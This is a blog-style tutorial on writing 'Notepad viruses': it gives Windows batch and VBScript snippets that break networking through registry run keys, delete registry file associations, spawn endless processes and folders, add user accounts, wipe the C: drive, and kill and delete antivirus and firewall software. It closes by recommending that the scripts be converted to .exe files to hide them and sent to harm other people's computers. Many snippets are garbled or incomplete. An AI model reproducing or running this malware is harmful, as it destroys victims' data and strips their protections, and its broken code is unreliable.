How to make a computer VIRUS?

Have you ever thought of creating a computer virus by yourself? No need to worry, here is a complete tutorial to let you know how to create a simple but dangerous Notepad Virus step by step with an explanation!


As you all know that Virus is nothing but a malicious program that enters into a system without permission and affects the data and the working of the operating system. Viruses do unwanted tasks like replicating themselves corrupting user files etc. So, basically, we are going to create some unwanted scripts, that we can execute in order to destroy or break the system.


Create a notepad virus

First of all, what is Batch Scripting? Those who don’t know, take a look below:

It is simply a text file, containing a series of commands, which are executed automatically, line by line when the batch file runs.
By using Batch File, you can create an extremely dangerous virus that can delete the Windows files, format from different drives [C:\, E:\], Steal Data Files, and Information, Disable Antivirus, firewalls, etc.

Write a Dangerous Virus in Notepad/Text Editor?

Are you ready to create your first Notepad virus, let’s get started to start:

First of all, you need a Windows PC, obviously.  For this tutorial to create a simple Notepad virus you don’t need to be a die-hard programmer or something like that, but a basic knowledge of flow charts and loops helps you a lot to understand what’s going on here. So let’s start to create a Trojan virus using notepad to run via command prompt (cmd) in Windows 10, 8/8.1, 7, or XP.

Now, Open the Notepad application and Copy (Ctrl+C) and Paste (Ctrl+V) the codes given below one by one for the different viruses in a different file.

I am not responsible for any damage or error reporting on Your PC, do it at your own risk.


1. Disable Internet Permanently

This code will disable the internet connectivity permanently.

echo @echo off>c:windowswimn32.bat
echo break off>c:windowswimn32.bat echo
echo end>c:windowswimn32.batreg add
hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add
hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED!

2. Delete Key Registry Files

This will delete key registry files, then loops a message

This is dangerous and unrecoverable Notepad Virus.

START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
ECHO Your PC has been crashed. Your Dad.

3. Endless Notepads

This will pop up endless notepads until the computer freezes and crashes

@ECHO off
START %SystemRoot%\system32\notepad.exe
GOTO top

4. Popping CD Drives

This will make the CD drives constantly pop-out:

Set oWMP = CreateObject(”WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
For i = 0 to colCDROMs.Count – 1
End If
wscript.sleep 100

5. Endless Enter

This will make the enter button pressed continuously:

Set wshShell = wscript.CreateObject(”WScript.Shell”)
wscript.sleep 100
wshshell.sendkeys “~(enter)”

6. Application Bomber

It will start to open different applications repeatedly which will affect the system’s performance. You can also add the application of your choice in the above code:

@echo off
start winword
start mspaint
start notepad
start write
start cmd
start explorer
start control
start calc
goto x

7. Folder Flooder

This will create an unlimited no. of folders:

@echo off
md %random%
goto x

8. User Account Flooder

This will create a large no. of the user an account on one’s PC and goes on

@echo off
user %random% /add

9. Process Creator

This will create the unlimited background processes:


10. Windows Hacker

This will delete your whole C:\ drive and it really unrecoverable.

@Echo off
Del C:\ *.* |y

11.  AntiVirus Disabler

This large code will disable any antivirus installed on the system.

@ echo off

rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable

tskill /A av*
tskill /A fire*
tskill /A anti*

tskill /A spy*

tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A SAFEWEB

tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A SAFEWEB

tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle

tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*

tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*

tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*

tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*

tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmincls
tskill /A panda*

tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*

tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe

del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.datcls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*

del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*

del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe

del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe

del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*

del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe

del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe

del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda

Copy and paste any one of these viruses at a time in the Notepad, save the file with an extension “.bat” (without quotes as shown in the image).

If you click on that file, you see the magic. So watch the complete video.

Batch to Executable Converter

There’s a drawback of a batch file notepad virus, that anyone can open it with notepad and read the commands easily, and delete it if found harmful. So, to overcome this limitation/drawback, you can use a tool named ‘Batch to Executable Converter’. It will convert the ‘.bat’ extension into the ‘.exe’ extension.

1. Download Bat to Exe converter from here and open the downloaded file.

2. Select the batch file and click on compile, and you got an exe file.

Now you can send this executable file to hurms anyone computer.

Post a Comment

If you have any doubts or any queries you can specify here.

Previous Post Next Post